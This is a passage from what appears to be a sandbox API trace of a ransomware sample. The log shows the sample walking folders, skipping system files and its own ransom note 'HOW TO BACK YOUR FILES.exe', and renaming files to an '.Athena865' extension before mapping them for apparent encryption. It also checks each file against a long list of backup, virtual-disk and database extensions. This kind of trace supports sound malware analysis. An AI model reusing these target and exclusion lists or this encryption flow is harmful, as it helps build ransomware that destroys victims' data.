dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.446] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.446] CloseHandle (hObject=0x154) returned 1 [0138.446] CloseHandle (hObject=0x17c) returned 1 [0138.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.447] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b53500, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54b53500, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0xf5e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0199549.WMF", cAlternateFileName="")) returned 1 [0138.447] lstrcmpiW (lpString1="J0199549.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.447] lstrcmpiW (lpString1="J0199549.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.447] lstrcmpiW (lpString1="J0199549.WMF", lpString2=".") returned 1 [0138.447] lstrcmpiW (lpString1="J0199549.WMF", lpString2="..") returned 1 [0138.447] lstrcmpiW (lpString1="J0199549.WMF", lpString2="windows") returned -1 [0138.447] lstrcmpiW (lpString1="J0199549.WMF", lpString2="bootmgr") returned 1 [0138.447] lstrcmpiW (lpString1="J0199549.WMF", lpString2="temp") returned -1 [0138.447] lstrcmpiW (lpString1="J0199549.WMF", lpString2="pagefile.sys") returned -1 [0138.447] lstrcmpiW (lpString1="J0199549.WMF", lpString2="boot") returned 1 [0138.447] lstrcmpiW (lpString1="J0199549.WMF", lpString2="ids.txt") returned 1 [0138.447] lstrcmpiW (lpString1="J0199549.WMF", lpString2="ntuser.dat") returned -1 [0138.447] lstrcmpiW (lpString1="J0199549.WMF", lpString2="perflogs") returned -1 [0138.447] lstrcmpiW (lpString1="J0199549.WMF", lpString2="MSBuild") returned -1 [0138.447] lstrlenW (lpString="J0199549.WMF") returned 12 [0138.447] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0199549.WMF" | out: lpString1="J0199549.WMF") returned="J0199549.WMF" [0138.447] lstrlenW (lpString="J0199549.WMF") returned 12 [0138.447] lstrlenW (lpString="Athena865") returned 9 [0138.447] lstrcmpiW (lpString1="99549.WMF", lpString2="Athena865") returned -1 [0138.447] lstrlenW (lpString=".dll") returned 4 [0138.447] lstrcmpiW (lpString1="J0199549.WMF", lpString2=".dll") returned 1 [0138.447] lstrlenW (lpString=".lnk") returned 4 [0138.447] lstrcmpiW (lpString1="J0199549.WMF", lpString2=".lnk") returned 1 [0138.448] lstrlenW (lpString=".ini") returned 4 [0138.448] lstrcmpiW (lpString1="J0199549.WMF", lpString2=".ini") returned 1 [0138.448] lstrlenW (lpString=".sys") returned 4 [0138.448] lstrcmpiW (lpString1="J0199549.WMF", lpString2=".sys") returned 1 [0138.448] lstrlenW (lpString="J0199549.WMF") returned 12 [0138.448] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF.Athena865") returned 71 [0138.448] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199549.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199549.wmf.athena865"), dwFlags=0x1) returned 1 [0138.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199549.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.451] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3934) returned 1 [0138.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.451] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.452] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.452] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.452] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1260, lpName=0x0) returned 0x154 [0138.454] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1260) returned 0x100000 [0138.455] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.456] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.456] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.456] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.456] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.457] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.457] CloseHandle (hObject=0x154) returned 1 [0138.457] CloseHandle (hObject=0x17c) returned 1 [0138.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.457] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b8b4b00, ftCreationTime.dwHighDateTime=0x1be3e9a, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8b8b4b00, ftLastWriteTime.dwHighDateTime=0x1be3e9a, nFileSizeHigh=0x0, nFileSizeLow=0x341e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0199661.WMF", cAlternateFileName="")) returned 1 [0138.457] lstrcmpiW (lpString1="J0199661.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.457] lstrcmpiW (lpString1="J0199661.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.457] lstrcmpiW (lpString1="J0199661.WMF", lpString2=".") returned 1 [0138.457] lstrcmpiW (lpString1="J0199661.WMF", lpString2="..") returned 1 [0138.457] lstrcmpiW (lpString1="J0199661.WMF", lpString2="windows") returned -1 [0138.457] lstrcmpiW (lpString1="J0199661.WMF", lpString2="bootmgr") returned 1 [0138.457] lstrcmpiW (lpString1="J0199661.WMF", lpString2="temp") returned -1 [0138.457] lstrcmpiW (lpString1="J0199661.WMF", lpString2="pagefile.sys") returned -1 [0138.457] lstrcmpiW (lpString1="J0199661.WMF", lpString2="boot") returned 1 [0138.457] lstrcmpiW (lpString1="J0199661.WMF", lpString2="ids.txt") returned 1 [0138.458] lstrcmpiW (lpString1="J0199661.WMF", lpString2="ntuser.dat") returned -1 [0138.458] lstrcmpiW (lpString1="J0199661.WMF", lpString2="perflogs") returned -1 [0138.458] lstrcmpiW (lpString1="J0199661.WMF", lpString2="MSBuild") returned -1 [0138.458] lstrlenW (lpString="J0199661.WMF") returned 12 [0138.458] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0199661.WMF" | out: lpString1="J0199661.WMF") returned="J0199661.WMF" [0138.458] lstrlenW (lpString="J0199661.WMF") returned 12 [0138.458] lstrlenW (lpString="Athena865") returned 9 [0138.458] lstrcmpiW (lpString1="99661.WMF", lpString2="Athena865") returned -1 [0138.458] lstrlenW (lpString=".dll") returned 4 [0138.458] lstrcmpiW (lpString1="J0199661.WMF", lpString2=".dll") returned 1 [0138.458] lstrlenW (lpString=".lnk") returned 4 [0138.458] lstrcmpiW (lpString1="J0199661.WMF", lpString2=".lnk") returned 1 [0138.458] lstrlenW (lpString=".ini") returned 4 [0138.458] lstrcmpiW (lpString1="J0199661.WMF", lpString2=".ini") returned 1 [0138.458] lstrlenW (lpString=".sys") returned 4 [0138.458] lstrcmpiW (lpString1="J0199661.WMF", lpString2=".sys") returned 1 [0138.459] lstrlenW (lpString="J0199661.WMF") returned 12 [0138.459] lstrlenW (lpString="bak") returned 3 [0138.459] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0138.459] lstrlenW (lpString="ba_") returned 3 [0138.459] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0138.459] lstrlenW (lpString="dbb") returned 3 [0138.459] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0138.459] lstrlenW (lpString="vmdk") returned 4 [0138.459] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0138.459] lstrlenW (lpString="rar") returned 3 [0138.459] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0138.459] lstrlenW (lpString="zip") returned 3 [0138.459] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0138.459] lstrlenW (lpString="tgz") returned 3 [0138.459] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0138.459] lstrlenW (lpString="vbox") returned 4 [0138.459] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0138.459] lstrlenW (lpString="vdi") returned 3 [0138.459] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0138.459] lstrlenW (lpString="vhd") returned 3 [0138.460] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0138.460] lstrlenW (lpString="vhdx") returned 4 [0138.460] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0138.460] lstrlenW (lpString="avhd") returned 4 [0138.460] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0138.460] lstrlenW (lpString="db") returned 2 [0138.460] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0138.460] lstrlenW (lpString="db2") returned 3 [0138.460] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0138.460] lstrlenW (lpString="db3") returned 3 [0138.460] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0138.460] lstrlenW (lpString="dbf") returned 3 [0138.460] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0138.460] lstrlenW (lpString="mdf") returned 3 [0138.460] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0138.460] lstrlenW (lpString="mdb") returned 3 [0138.460] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0138.460] lstrlenW (lpString="sql") returned 3 [0138.460] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0138.460] lstrlenW (lpString="sqlite") returned 6 [0138.460] lstrcmpiW (lpString1="61.WMF", lpString2="sqlite") returned -1 [0138.460] lstrlenW (lpString="sqlite3") returned 7 [0138.460] lstrcmpiW (lpString1="661.WMF", lpString2="sqlite3") returned -1 [0138.460] lstrlenW (lpString="sqlitedb") returned 8 [0138.460] lstrcmpiW (lpString1="9661.WMF", lpString2="sqlitedb") returned -1 [0138.460] lstrlenW (lpString="xml") returned 3 [0138.460] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0138.460] lstrlenW (lpString="$er") returned 3 [0138.460] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0138.461] lstrlenW (lpString="4dd") returned 3 [0138.461] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0138.461] lstrlenW (lpString="4dl") returned 3 [0138.461] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0138.461] lstrlenW (lpString="^^^") returned 3 [0138.461] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0138.461] lstrlenW (lpString="abs") returned 3 [0138.461] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0138.461] lstrlenW (lpString="abx") returned 3 [0138.461] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0138.461] lstrlenW (lpString="accdb") returned 5 [0138.461] lstrcmpiW (lpString1="1.WMF", lpString2="accdb") returned -1 [0138.461] lstrlenW (lpString="accdc") returned 5 [0138.461] lstrcmpiW (lpString1="1.WMF", lpString2="accdc") returned -1 [0138.461] lstrlenW (lpString="accde") returned 5 [0138.461] lstrcmpiW (lpString1="1.WMF", lpString2="accde") returned -1 [0138.461] lstrlenW (lpString="accdr") returned 5 [0138.461] lstrcmpiW (lpString1="1.WMF", lpString2="accdr") returned -1 [0138.461] lstrlenW (lpString="accdt") returned 5 [0138.461] lstrcmpiW (lpString1="1.WMF", lpString2="accdt") returned -1 [0138.461] lstrlenW (lpString="accdw") returned 5 [0138.461] lstrcmpiW (lpString1="1.WMF", lpString2="accdw") returned -1 [0138.461] lstrlenW (lpString="accft") returned 5 [0138.461] lstrcmpiW (lpString1="1.WMF", lpString2="accft") returned -1 [0138.461] lstrlenW (lpString="adb") returned 3 [0138.461] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.461] lstrlenW (lpString="adb") returned 3 [0138.461] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.461] lstrlenW (lpString="ade") returned 3 [0138.462] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0138.462] lstrlenW (lpString="adf") returned 3 [0138.462] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0138.462] lstrlenW (lpString="adn") returned 3 [0138.462] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0138.462] lstrlenW (lpString="adp") returned 3 [0138.462] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0138.462] lstrlenW (lpString="alf") returned 3 [0138.462] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0138.462] lstrlenW (lpString="ask") returned 3 [0138.462] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0138.462] lstrlenW (lpString="btr") returned 3 [0138.462] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0138.462] lstrlenW (lpString="cat") returned 3 [0138.462] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0138.462] lstrlenW (lpString="cdb") returned 3 [0138.462] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0138.462] lstrlenW (lpString="ckp") returned 3 [0138.462] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0138.462] lstrlenW (lpString="cma") returned 3 [0138.462] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0138.462] lstrlenW (lpString="cpd") returned 3 [0138.462] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0138.462] lstrlenW (lpString="dacpac") returned 6 [0138.462] lstrcmpiW (lpString1="61.WMF", lpString2="dacpac") returned -1 [0138.462] lstrlenW (lpString="dad") returned 3 [0138.462] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0138.462] lstrlenW (lpString="dadiagrams") returned 10 [0138.463] lstrcmpiW (lpString1="199661.WMF", lpString2="dadiagrams") returned -1 [0138.463] lstrlenW (lpString="daschema") returned 8 [0138.463] lstrcmpiW (lpString1="9661.WMF", lpString2="daschema") returned -1 [0138.463] lstrlenW (lpString="db-journal") returned 10 [0138.463] lstrcmpiW (lpString1="199661.WMF", lpString2="db-journal") returned -1 [0138.463] lstrlenW (lpString="db-shm") returned 6 [0138.463] lstrcmpiW (lpString1="61.WMF", lpString2="db-shm") returned -1 [0138.463] lstrlenW (lpString="db-wal") returned 6 [0138.463] lstrcmpiW (lpString1="61.WMF", lpString2="db-wal") returned -1 [0138.463] lstrlenW (lpString="dbc") returned 3 [0138.463] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0138.463] lstrlenW (lpString="dbs") returned 3 [0138.463] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0138.463] lstrlenW (lpString="dbt") returned 3 [0138.463] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0138.463] lstrlenW (lpString="dbv") returned 3 [0138.463] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0138.463] lstrlenW (lpString="dbx") returned 3 [0138.463] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0138.463] lstrlenW (lpString="dcb") returned 3 [0138.463] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0138.463] lstrlenW (lpString="dct") returned 3 [0138.463] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0138.463] lstrlenW (lpString="dcx") returned 3 [0138.463] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0138.463] lstrlenW (lpString="ddl") returned 3 [0138.463] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0138.463] lstrlenW (lpString="dlis") returned 4 [0138.463] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0138.464] lstrlenW (lpString="dp1") returned 3 [0138.464] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0138.464] lstrlenW (lpString="dqy") returned 3 [0138.464] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0138.464] lstrlenW (lpString="dsk") returned 3 [0138.464] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0138.464] lstrlenW (lpString="dsn") returned 3 [0138.464] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0138.464] lstrlenW (lpString="dtsx") returned 4 [0138.464] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0138.464] lstrlenW (lpString="dxl") returned 3 [0138.464] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0138.464] lstrlenW (lpString="eco") returned 3 [0138.464] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0138.464] lstrlenW (lpString="ecx") returned 3 [0138.464] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0138.464] lstrlenW (lpString="edb") returned 3 [0138.464] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0138.464] lstrlenW (lpString="epim") returned 4 [0138.464] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0138.464] lstrlenW (lpString="fcd") returned 3 [0138.464] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0138.464] lstrlenW (lpString="fdb") returned 3 [0138.464] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0138.464] lstrlenW (lpString="fic") returned 3 [0138.464] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0138.464] lstrlenW (lpString="flexolibrary") returned 12 [0138.464] lstrlenW (lpString="fm5") returned 3 [0138.464] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0138.465] lstrlenW (lpString="fmp") returned 3 [0138.465] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0138.465] lstrlenW (lpString="fmp12") returned 5 [0138.465] lstrcmpiW (lpString1="1.WMF", lpString2="fmp12") returned -1 [0138.465] lstrlenW (lpString="fmpsl") returned 5 [0138.465] lstrcmpiW (lpString1="1.WMF", lpString2="fmpsl") returned -1 [0138.465] lstrlenW (lpString="fol") returned 3 [0138.465] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0138.465] lstrlenW (lpString="fp3") returned 3 [0138.465] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0138.465] lstrlenW (lpString="fp4") returned 3 [0138.465] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0138.465] lstrlenW (lpString="fp5") returned 3 [0138.465] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0138.465] lstrlenW (lpString="fp7") returned 3 [0138.465] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0138.465] lstrlenW (lpString="fpt") returned 3 [0138.465] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0138.465] lstrlenW (lpString="frm") returned 3 [0138.465] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0138.465] lstrlenW (lpString="gdb") returned 3 [0138.465] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0138.465] lstrlenW (lpString="gdb") returned 3 [0138.465] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0138.465] lstrlenW (lpString="grdb") returned 4 [0138.465] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0138.465] lstrlenW (lpString="gwi") returned 3 [0138.465] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0138.465] lstrlenW (lpString="hdb") returned 3 [0138.466] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0138.466] lstrlenW (lpString="his") returned 3 [0138.466] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0138.466] lstrlenW (lpString="ib") returned 2 [0138.466] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0138.466] lstrlenW (lpString="idb") returned 3 [0138.466] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0138.466] lstrlenW (lpString="ihx") returned 3 [0138.466] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0138.466] lstrlenW (lpString="itdb") returned 4 [0138.466] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0138.466] lstrlenW (lpString="itw") returned 3 [0138.466] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0138.466] lstrlenW (lpString="jet") returned 3 [0138.466] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0138.466] lstrlenW (lpString="jtx") returned 3 [0138.466] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0138.466] lstrlenW (lpString="kdb") returned 3 [0138.466] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0138.466] lstrlenW (lpString="kexi") returned 4 [0138.466] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0138.466] lstrlenW (lpString="kexic") returned 5 [0138.466] lstrcmpiW (lpString1="1.WMF", lpString2="kexic") returned -1 [0138.466] lstrlenW (lpString="kexis") returned 5 [0138.466] lstrcmpiW (lpString1="1.WMF", lpString2="kexis") returned -1 [0138.466] lstrlenW (lpString="lgc") returned 3 [0138.466] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0138.466] lstrlenW (lpString="lwx") returned 3 [0138.467] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0138.467] lstrlenW (lpString="maf") returned 3 [0138.467] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0138.467] lstrlenW (lpString="maq") returned 3 [0138.467] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0138.467] lstrlenW (lpString="mar") returned 3 [0138.467] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0138.467] lstrlenW (lpString="marshal") returned 7 [0138.467] lstrcmpiW (lpString1="661.WMF", lpString2="marshal") returned -1 [0138.467] lstrlenW (lpString="mas") returned 3 [0138.467] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0138.467] lstrlenW (lpString="mav") returned 3 [0138.467] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0138.467] lstrlenW (lpString="maw") returned 3 [0138.467] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0138.467] lstrlenW (lpString="mdbhtml") returned 7 [0138.467] lstrcmpiW (lpString1="661.WMF", lpString2="mdbhtml") returned -1 [0138.467] lstrlenW (lpString="mdn") returned 3 [0138.467] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0138.467] lstrlenW (lpString="mdt") returned 3 [0138.467] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0138.467] lstrlenW (lpString="mfd") returned 3 [0138.467] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0138.467] lstrlenW (lpString="mpd") returned 3 [0138.467] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0138.467] lstrlenW (lpString="mrg") returned 3 [0138.467] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0138.467] lstrlenW (lpString="mud") returned 3 [0138.468] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0138.468] lstrlenW (lpString="mwb") returned 3 [0138.468] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0138.468] lstrlenW (lpString="myd") returned 3 [0138.468] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0138.468] lstrlenW (lpString="ndf") returned 3 [0138.468] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0138.468] lstrlenW (lpString="nnt") returned 3 [0138.468] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0138.468] lstrlenW (lpString="nrmlib") returned 6 [0138.468] lstrcmpiW (lpString1="61.WMF", lpString2="nrmlib") returned -1 [0138.468] lstrlenW (lpString="ns2") returned 3 [0138.468] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0138.468] lstrlenW (lpString="ns3") returned 3 [0138.468] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0138.468] lstrlenW (lpString="ns4") returned 3 [0138.468] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0138.468] lstrlenW (lpString="nsf") returned 3 [0138.468] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0138.468] lstrlenW (lpString="nv") returned 2 [0138.468] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0138.468] lstrlenW (lpString="nv2") returned 3 [0138.468] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0138.468] lstrlenW (lpString="nwdb") returned 4 [0138.468] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0138.468] lstrlenW (lpString="nyf") returned 3 [0138.468] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0138.468] lstrlenW (lpString="odb") returned 3 [0138.468] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0138.469] lstrlenW (lpString="odb") returned 3 [0138.469] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0138.469] lstrlenW (lpString="oqy") returned 3 [0138.469] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0138.469] 